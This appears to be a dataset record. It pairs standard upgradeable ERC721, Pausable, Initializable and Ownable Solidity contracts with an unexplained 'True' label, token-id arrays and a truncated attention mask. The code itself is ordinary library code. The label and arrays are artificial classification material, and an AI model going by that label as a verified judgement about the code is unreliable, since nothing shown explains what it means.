* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC721Upgradeable.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721EnumerableUpgradeable is IERC721Upgradeable {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../ERC721Upgradeable.sol";
import "../../../security/PausableUpgradeable.sol";
import "../../../proxy/utils/Initializable.sol";
/**
* @dev ERC721 token with pausable token transfers, minting and burning.
*
* Useful for scenarios such as preventing trades until the end of an evaluation
* period, or having an emergency switch for freezing all token transfers in the
* event of a large bug.
*/
abstract contract ERC721PausableUpgradeable is Initializable, ERC721Upgradeable, PausableUpgradeable {
function __ERC721Pausable_init() internal initializer {
__Context_init_unchained();
__ERC165_init_unchained();
__Pausable_init_unchained();
__ERC721Pausable_init_unchained();
}
function __ERC721Pausable_init_unchained() internal initializer {
}
/**
* @dev See {ERC721-_beforeTokenTransfer}.
*
* Requirements:
*
* - the contract must not be paused.
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
require(!paused(), "ERC721Pausable: token transfer while paused");
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../ERC721Upgradeable.sol";
import "./IERC721EnumerableUpgradeable.sol";
import "../../../proxy/utils/Initializable.sol";
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721EnumerableUpgradeable is Initializable, ERC721Upgradeable, IERC721EnumerableUpgradeable {
function __ERC721Enumerable_init() internal initializer {
__Context_init_unchained();
__ERC165_init_unchained();
__ERC721Enumerable_init_unchained();
}
function __ERC721Enumerable_init_unchained() internal initializer {
}
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165Upgradeable, ERC721Upgradeable) returns (bool) {
return interfaceId == type(IERC721EnumerableUpgradeable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Upgradeable.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721EnumerableUpgradeable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721Upgradeable.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721Upgradeable.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
uint256[46] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165Upgradeable.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721Upgradeable is IERC165Upgradeable {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721ReceiverUpgradeable {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC721Upgradeable.sol";
import "./IERC721ReceiverUpgradeable.sol";
import "./extensions/IERC721MetadataUpgradeable.sol";
import "../../utils/AddressUpgradeable.sol";
import "../../utils/ContextUpgradeable.sol";
import "../../utils/StringsUpgradeable.sol";
import "../../utils/introspection/ERC165Upgradeable.sol";
import "../../proxy/utils/Initializable.sol";
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721Upgradeable is Initializable, ContextUpgradeable, ERC165Upgradeable, IERC721Upgradeable, IERC721MetadataUpgradeable {
using AddressUpgradeable for address;
using StringsUpgradeable for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
function __ERC721_init(string memory name_, string memory symbol_) internal initializer {
__Context_init_unchained();
__ERC165_init_unchained();
__ERC721_init_unchained(name_, symbol_);
}
function __ERC721_init_unchained(string memory name_, string memory symbol_) internal initializer {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165Upgradeable, IERC165Upgradeable) returns (bool) {
return
interfaceId == type(IERC721Upgradeable).interfaceId ||
interfaceId == type(IERC721MetadataUpgradeable).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721Upgradeable.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721Upgradeable.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721Upgradeable.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721Upgradeable.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721Upgradeable.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721ReceiverUpgradeable(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721ReceiverUpgradeable.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
uint256[44] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/ContextUpgradeable.sol";
import "../proxy/utils/Initializable.sol";
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
abstract contract PausableUpgradeable is Initializable, ContextUpgradeable {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
function __Pausable_init() internal initializer {
__Context_init_unchained();
__Pausable_init_unchained();
}
function __Pausable_init_unchained() internal initializer {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(_initializing || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/ContextUpgradeable.sol";
import "../proxy/utils/Initializable.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
function __Ownable_init() internal initializer {
__Context_init_unchained();
__Ownable_init_unchained();
}
function __Ownable_init_unchained() internal initializer {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
uint256[49] private __gap;
} | True | [
101,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
2184,
1025,
12324,
1000,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1011,
12200,
3085,
1013,
19204,
1013,
9413,
2278,
2581,
17465,
1013,
14305,
1013,
9413,
2278,
2581,
17465,
2368,
17897,
16670,
6279,
24170,
3085,
1012,
14017,
1000,
1025,
12324,
1005,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1011,
12200,
3085,
1013,
19204,
1013,
9413,
2278,
2581,
17465,
1013,
14305,
1013,
9413,
2278,
2581,
17465,
4502,
10383,
3468,
6279,
24170,
3085,
1012,
14017,
1005,
1025,
12324,
1000,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1011,
12200,
3085,
1013,
3229,
1013,
2219,
3085,
6279,
24170,
3085,
1012,
14017,
1000,
1025,
12324,
1000,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1011,
12200,
3085,
1013,
21183,
12146,
1013,
19888,
9888,
1013,
14925,
5104,
4887,
26952,
13662,
3085,
1012,
14017,
1000,
1025,
8278,
1045,
11461,
14995,
24475,
18908,
10253,
1063,
3853,
4897,
1006,
21318,
3372,
6534,
1007,
6327,
5760,
5651,
1006,
21318,
3372,
1031,
1023,
1033,
3638,
1007,
1025,
1065,
3206,
6288,
2480,
2003,
9413,
2278,
2581,
17465,
2368,
17897,
16670,
6279,
24170,
3085,
1010,
9413,
2278,
2581,
17465,
4502,
10383,
3468,
6279,
24170,
3085,
1010,
2219,
3085,
6279,
24170,
3085,
1063,
2478,
7817,
6279,
24170,
3085,
2005,
21318,
3372,
17788,
2575,
1025,
2478,
14925,
5104,
4887,
26952,
13662,
3085,
2005,
27507,
16703,
1025,
21318,
3372,
2270,
5377,
4098,
1035,
11046,
1035,
3815,
1027,
25108,
1025,
21318,
3372,
2270,
5377,
4098,
1035,
4310,
1035,
3815,
1027,
2423,
1025,
21318,
3372,
2270,
5377,
3131,
1035,
3976,
1027,
1014,
1012,
8732,
28855,
1025,
21318,
3372,
2270,
2317,
9863,
3597,
16671,
1025,
21318,
3372,
2270,
4310,
3597,
16671,
1025,
21318,
3372,
2270,
2197,
18715,
18595,
2094,
1025,
21318,
3372,
2270,
3225,
7292,
1025,
21318,
3372,
2797,
1035,
6721,
19763,
2094,
1025,
21318,
3372,
2797,
1035,
6721,
8540,
3401,
1025,
22017,
2140,
2270,
2797,
12002,
5243,
15277,
1025,
22017,
2140,
2270,
2270,
12002,
5243,
15277,
1025,
21318,
3372,
1031,
1023,
1033,
1031,
4098,
1035,
11046,
1035,
3815,
1009,
1015,
1033,
4722,
1035,
8991,
6494,
12762,
1025,
12375,
1006,
4769,
1027,
1028,
22017,
2140,
1007,
2270,
7792,
1025,
12375,
1006,
5164,
1027,
1028,
22017,
2140,
1007,
2797,
2109,
3367,
4892,
1025,
1013,
1013,
2053,
2936,
2109,
12375,
1006,
4769,
1027,
1028,
21318,
3372,
1007,
2270,
8991,
26657,
1025,
12375,
1006,
4769,
1027,
1028,
21318,
3372,
1007,
2797,
13332,
3597,
16671,
1025,
5164,
2797,
1035,
3206,
9496,
1025,
5164,
2797,
1035,
3936,
15058,
9496,
1025,
5164,
2797,
1035,
19204,
15058,
9496,
1025,
4769,
2797,
1035,
3696,
2121,
1025,
1045,
11461,
14995,
24475,
18908,
10253,
8991,
6494,
4183,
21450,
1025,
12375,
1006,
21318,
3372,
1027,
1028,
21318,
3372,
1007,
2797,
19204,
19763,
2094,
1025,
12375,
1006,
27507,
16703,
1027,
1028,
22017,
2140,
1007,
2270,
2109,
14839,
1025,
2724,
12927,
2098,
24415,
10288,
2361,
1006,
4769,
25331,
4604,
2121,
1010,
27507,
16703,
25331,
3145,
1007,
1025,
3853,
3988,
4697,
1006,
1007,
2270,
3988,
17629,
1063,
1035,
1035,
9413,
2278,
2581,
17465,
1035,
1999,
4183,
1006,
1000,
6288,
2480,
1000,
1010,
1000,
102
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
